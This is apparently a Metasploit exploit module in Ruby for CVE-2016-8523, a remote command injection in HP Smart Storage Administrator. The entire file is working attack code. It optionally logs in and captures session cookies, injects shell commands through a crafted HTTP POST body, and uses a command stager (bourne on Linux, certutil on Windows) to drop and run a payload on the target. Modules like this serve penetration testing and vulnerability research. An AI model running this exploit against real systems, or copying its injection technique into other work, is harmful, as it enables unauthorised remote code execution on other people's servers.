##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "HP Smart Storage Administrator Remote Command Injection",
'Description' => %q{
This module exploits a vulnerability found in HP Smart Storage Administrator. By
supplying a specially crafted HTTP request, it is possible to control the
'command' variable in function isDirectFileAccess (found in ipcelmclient.php),
which will be used in a proc_open() function. Versions prior to HP SSA 2.60.18.0 are vulnerable.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas Mattiocco (@MaKyOtOx)' # Discovery & multi-platform Metasploit module
],
'References' =>
[
['CVE', '2016-8523']
],
'DefaultOptions' =>
{
'SSL' => true
},
'Platform' => %w{ linux win },
'Targets' =>
[
['Linux', {
'Platform' => 'linux',
'Arch' => ARCH_X86,
'CmdStagerFlavor' => 'bourne'
}],
['Linux (x64)', {
'Platform' => 'linux',
'Arch' => ARCH_X86_64,
'CmdStagerFlavor' => 'bourne'
}],
['Windows', {
'Platform' => 'win',
'Arch' => ARCH_X86,
'CmdStagerFlavor' => 'certutil'
}],
['Windows (x64)', {
'Platform' => 'win',
'Arch' => ARCH_X86_64,
'CmdStagerFlavor' => 'certutil'
}],
],
'Privileged' => false,
'DisclosureDate' => "Jan 30 2017"
))
register_options(
[
Opt::RPORT(2381),
# USERNAME/PASS may not be necessary, because the anonymous access is possible
OptString.new("USERNAME", [false, 'The username to authenticate as']),
OptString.new("PASSWORD", [false, 'The password to authenticate with'])
], self.class)
end
def check
@cookie = ''
sig = Rex::Text.rand_text_alpha(8)
cmd = "&echo%20#{sig}&echo"
res = send_command(cmd, true)
if not res
vprint_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end
if res.code == 200 && res.headers.to_s() =~ /#{sig}/
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def login
username = datastore['USERNAME']
password = datastore['PASSWORD']
cookie = ''
res = send_request_cgi({
'method' => 'POST',
'uri' => '/proxy/ssllogin',
'vars_post' => {
'redirecturl' => '',
'redirectquerystring' => '',
'user' => username,
'password' => password
}
})
if not res
fail_with(Failure::Unknown, "#{peer} - Connection timed out during login")
end
# CpqElm-Login: success
if res.headers['CpqElm-Login'].to_s =~ /success/
cookie = res.get_cookies.scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || ''
end
cookie
end
def setup_stager
execute_cmdstager(:temp => './', :linemax => 2800)
end
def execute_command(cmd, opts={})
res = send_command(cmd, false)
if res && res.code != 200
vprint_error("Unexpected response:\n#{res}")
fail_with(Failure::Unknown, "There was an unexpected response")
end
end
def send_command(cmd, check)
if !datastore['USERNAME'].to_s.empty? && !datastore['PASSWORD'].to_s.empty? && @cookie.empty?
@cookie = login
if @cookie.empty?
fail_with(Failure::NoAccess, "#{peer} - Login failed")
else
print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")
end
end
req_opts = {}
# For the check() function, use GET method
if check
req_opts['uri'] = "/HPSSA/index.htm#{cmd}"
req_opts['method'] = "GET"
else
req_opts['uri'] = "/HPSSA/index.htm"
req_opts['method'] = "POST"
req_opts['vars_post'] = {'msf'=>'red'}
case target.opts['Platform']
when "linux" then req_opts['data'] = "\" & #{cmd.gsub(/\.\//,"/tmp/")} & echo \""
when "win" then req_opts['data'] = "\" & #{cmd.gsub(/\.\//,"\.\\")} & echo \""
end
end
unless @cookie.empty?
browser_chk = 'HPSMH-browser-check=done for this session'
curl_loc = "curlocation-#{datastore['USERNAME']}="
req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}"
end
send_request_cgi(req_opts)
end
def exploit
@cookie = ''
setup_stager
end
end